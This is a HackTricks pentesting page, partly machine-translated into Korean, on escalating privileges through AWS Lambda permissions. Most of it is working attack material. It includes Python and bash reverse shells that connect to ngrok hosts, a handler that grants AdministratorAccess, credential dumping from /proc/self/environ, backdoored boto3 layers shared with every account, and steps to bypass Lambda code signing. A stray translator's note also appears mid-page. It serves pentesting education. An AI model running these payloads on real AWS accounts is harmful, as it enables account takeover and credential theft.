Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
T

17 KiB

AWS - Lambda Privesc

{{#include ../../../banners/hacktricks-training.md}}

lambda

lambda에 대한 자세한 정보는 다음을 참조:

{{#ref}} ../aws-services/aws-lambda-enum.md {{#endref}}

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

iam:PassRole, lambda:CreateFunction, 그리고 lambda:InvokeFunction 권한을 가진 사용자는 권한 상승을 할 수 있습니다.
그들은 새 Lambda function을 생성하고 기존 IAM 역할을 할당할 수 있으며, 해당 역할에 연결된 권한이 함수에 부여됩니다. 그런 다음 사용자는 이 Lambda function에 코드를 작성하고 업로드할 수 있습니다 (예: rev shell).
함수가 설정되면, 사용자는 함수의 실행을 트리거하고 AWS API를 통해 Lambda function을 호출하여 의도한 동작을 수행할 수 있습니다. 이 방법은 사용자가 해당 IAM 역할에 부여된 접근 수준으로 Lambda function을 통해 간접적으로 작업을 수행할 수 있게 합니다.\

공격자는 이를 악용하여 rev shell을 얻고 토큰을 탈취할 수 있습니다:

import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

또한 lambda 함수 자체에서 lambda 역할 권한을 악용할 수도 있습니다.
lambda 역할에 충분한 권한이 있다면 이를 사용해 자신에게 관리자 권한을 부여할 수 있습니다:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

외부 연결 없이도 lambda의 role credentials를 leak할 수 있습니다. 이는 내부 작업에 사용되는 Network isolated Lambdas에 유용합니다. 알려지지 않은 security groups가 reverse shells를 필터링하고 있다면, 이 코드 조각은 lambda의 출력으로 credentials를 직접 leak할 수 있게 해줍니다.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

잠재적 영향: 지정된 임의의 lambda 서비스 역할로 직접 privesc.

Caution

비록 **lambda:InvokeAsync**가 흥미로워 보여도, 단독으로는 aws lambda invoke-async 실행을 허용하지 않으며, 또한 lambda:InvokeFunction이 필요합니다

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

이전 시나리오와 마찬가지로, 만약 lambda:AddPermission 권한이 있다면 스스로 lambda:InvokeFunction 권한을 부여할 수 있습니다

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Potential Impact: 지정된 임의의 Lambda 서비스 역할로의 직접 privesc.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Users with iam:PassRole, lambda:CreateFunction, and lambda:CreateEventSourceMapping permissions (and potentially dynamodb:PutItem and dynamodb:CreateTable) can indirectly escalate privileges even without lambda:InvokeFunction.
They can create a Lambda function with malicious code and assign it an existing IAM role.

Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is 자동으로 트리거되도록 테이블에 새 항목이 입력될 때 보장되며, 사용자의 동작이나 다른 프로세스에 의해 간접적으로 Lambda function이 호출되어 전달된 IAM role의 권한으로 code가 실행됩니다.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

DynamoDB가 AWS 환경에서 이미 활성화되어 있다면, 사용자는 Lambda 함수에 대한 event source mapping을 설정하기만 하면 됩니다. 하지만 DynamoDB가 사용 중이 아니라면, 사용자는 스트리밍이 활성화된 새 테이블을 생성해야 합니다:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

이제 event source mapping을 생성하여 Lambda function을 DynamoDB table에 연결할 수 있습니다:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Lambda 함수가 DynamoDB stream에 연결되어 있으면, 공격자는 DynamoDB stream을 활성화하여 Lambda를 간접적으로 트리거할 수 있습니다. 이는 DynamoDB 테이블에 항목을 삽입하는 것으로 수행할 수 있습니다:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

잠재적 영향: 지정된 lambda 서비스 역할로의 직접적인 privesc.

lambda:AddPermission

이 권한을 가진 공격자는 자신(또는 다른 사람)에게 모든 권한을 부여할 수 있습니다 (이것은 리소스에 접근을 허용하는 리소스 기반 정책을 생성합니다):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

잠재적 영향: 코드를 수정하고 실행할 수 있는 권한을 부여함으로써 사용되는 lambda 서비스 역할에 대해 직접적인 privesc를 얻을 수 있습니다.

lambda:AddLayerVersionPermission

이 권한을 가진 공격자는 자신(또는 다른 사람)에게 lambda:GetLayerVersion 권한을 부여할 수 있습니다. 이로써 레이어에 접근하여 취약점이나 민감한 정보를 검색할 수 있습니다.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Potential Impact: 민감한 정보에 대한 잠재적 접근.

lambda:UpdateFunctionCode

해당 lambda:UpdateFunctionCode 권한을 보유한 사용자는 IAM 역할에 연결된 기존 Lambda 함수의 코드를 수정할 수 있습니다.
공격자는 Lambda 코드를 수정하여 IAM 자격 증명을 exfiltrate할 수 있습니다.

공격자가 함수를 직접 호출할 수 있는 권한이 없을 수도 있지만, Lambda 함수가 이미 존재하고 운영 중이라면 기존 워크플로우나 이벤트를 통해 트리거될 가능성이 높아 수정된 코드가 간접적으로 실행될 수 있습니다.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Potential Impact: 사용된 lambda 서비스 역할로의 직접적인 privesc.

lambda:UpdateFunctionConfiguration

RCE via 환경 변수

이 권한으로 Lambda가 임의의 코드를 실행하도록 만드는 환경 변수를 추가할 수 있습니다. 예를 들어 python에서는 환경 변수 PYTHONWARNINGBROWSER를 악용해 python 프로세스가 임의의 명령을 실행하게 할 수 있습니다:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

다른 스크립팅 언어에는 사용할 수 있는 다른 env variables가 있습니다. 자세한 내용은 스크립팅 언어의 하위 섹션을 다음에서 확인하세요:

{{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html {{#endref}}

RCE via Lambda Layers

Lambda Layers 는 lamdba function에 code를 포함시킬 수 있게 해주지만 storing it separately 방식으로 저장하므로 함수 코드를 작게 유지할 수 있고 several functions can share code.

lambda 내부에서는 다음과 같은 함수로 python code가 로드되는 경로를 확인할 수 있습니다:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

These are the places:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

For example, the library boto3 is loaded from /var/runtime/boto3 (4번째 위치).

Exploitation

lambda:UpdateFunctionConfiguration 권한을 악용하면 lambda 함수에 새 레이어를 추가할 수 있습니다. 임의의 코드를 실행하려면 이 레이어에는 lambda가 import할 일부 라이브러리가 포함되어 있어야 합니다. lambda의 코드를 읽을 수 있다면 이를 쉽게 확인할 수 있으며, 해당 lambda가 이미 레이어를 사용 중일 수 있으며 그 레이어를 다운로드하여 그 안에 코드를 추가할 수도 있다는 점에 유의하세요.

For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:

pip3 install -t ./lambda_layer boto3

./lambda_layer/boto3/__init__.py를 열어서 add the backdoor in the global code할 수 있다 (예: credentials를 exfiltrate하는 함수나 reverse shell을 얻는 함수 등).

그 다음, 그 ./lambda_layer 디렉터리를 zip으로 묶어 upload the new lambda layer를 자신의 계정(또는 피해자 계정—권한이 없을 수 있음)에 업로드한다.
참고로 /opt/python/boto3를 오버라이드하려면 python 폴더를 생성하고 그 안에 라이브러리를 넣어야 한다. 또한, layer는 lambda에서 사용하는 compatible with the python version이어야 하고, 자신의 계정에 업로드하는 경우 동일한 **same region:**에 있어야 한다.

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

이제 업로드된 lambda layer를 모든 계정에서 접근 가능하도록 만드세요:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

그리고 lambda layer를 victim lambda function에 연결합니다:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

다음 단계는 우리가 직접 invoke the function 하거나, 정상적인 방법으로 it gets invoked 될 때까지 기다리는 것입니다 — 후자가 더 안전한 방법입니다.

A more stealth way to exploit this vulnerability can be found in:

{{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}}

잠재적 영향: Lambda 서비스 역할에 대한 Direct privesc.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

해당 권한들로 function을 생성하고 URL을 호출해 실행할 수 있을지도 모릅니다... 하지만 테스트할 방법을 찾지 못했습니다. 찾으시면 알려주세요!

Lambda MitM

일부 lambdas는 파라미터에서 사용자로부터 민감한 정보를 receiving sensitive info from the users in parameters. 만약 그 중 하나에서 RCE를 얻으면, 다른 사용자가 해당 함수에 보내는 정보를 exfiltrate할 수 있습니다. 자세한 내용은 다음을 확인하세요:

{{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}}

References

{{#include ../../../banners/hacktricks-training.md}}

lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing

Lambda 함수가 code signing을 강제하는 경우, Code Signing Config(CSC)를 제거하거나 Warn으로 다운그레이드할 수 있는 공격자는 unsigned 코드를 해당 함수에 배포할 수 있습니다. 이는 함수의 IAM 역할이나 트리거를 수정하지 않고도 무결성 보호를 우회합니다.

권한 (다음 중 하나):

  • Path A: lambda:DeleteFunctionCodeSigningConfig, lambda:UpdateFunctionCode
  • Path B: lambda:CreateCodeSigningConfig, lambda:PutFunctionCodeSigningConfig, lambda:UpdateFunctionCode

참고:

  • Path B의 경우 CSC 정책이 WARN으로 설정되어 있으면( unsigned artifacts allowed ) AWS Signer 프로필이 필요하지 않습니다.

단계 (REGION=us-east-1, TARGET_FN=):

Prepare a small payload:

cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py

경로 A) CSC 제거 후 code 업데이트:

aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

경로 B) delete가 허용되지 않는 경우 Warn으로 다운그레이드하고 코드를 업데이트:

CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

확인했습니다. 지침에 따라 영어 텍스트를 한국어로 번역하겠습니다. 코드, 기술명, 일반 해킹 용어, 클라우드/SaaS 플랫폼 이름(예: aws, gcp 등), 'leak', pentesting, 링크 및 경로, 마크다운/HTML 태그는 번역하지 않으며, 태그나 링크 형식은 그대로 유지하겠습니다. 추가 내용은 포함하지 않습니다.

aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json

잠재적 영향: 서명된 배포만 적용되도록 설계된 함수에 임의의 서명되지 않은 코드를 업로드하고 실행할 수 있어, 해당 함수 역할의 권한으로 코드가 실행될 수 있습니다.

정리:

aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true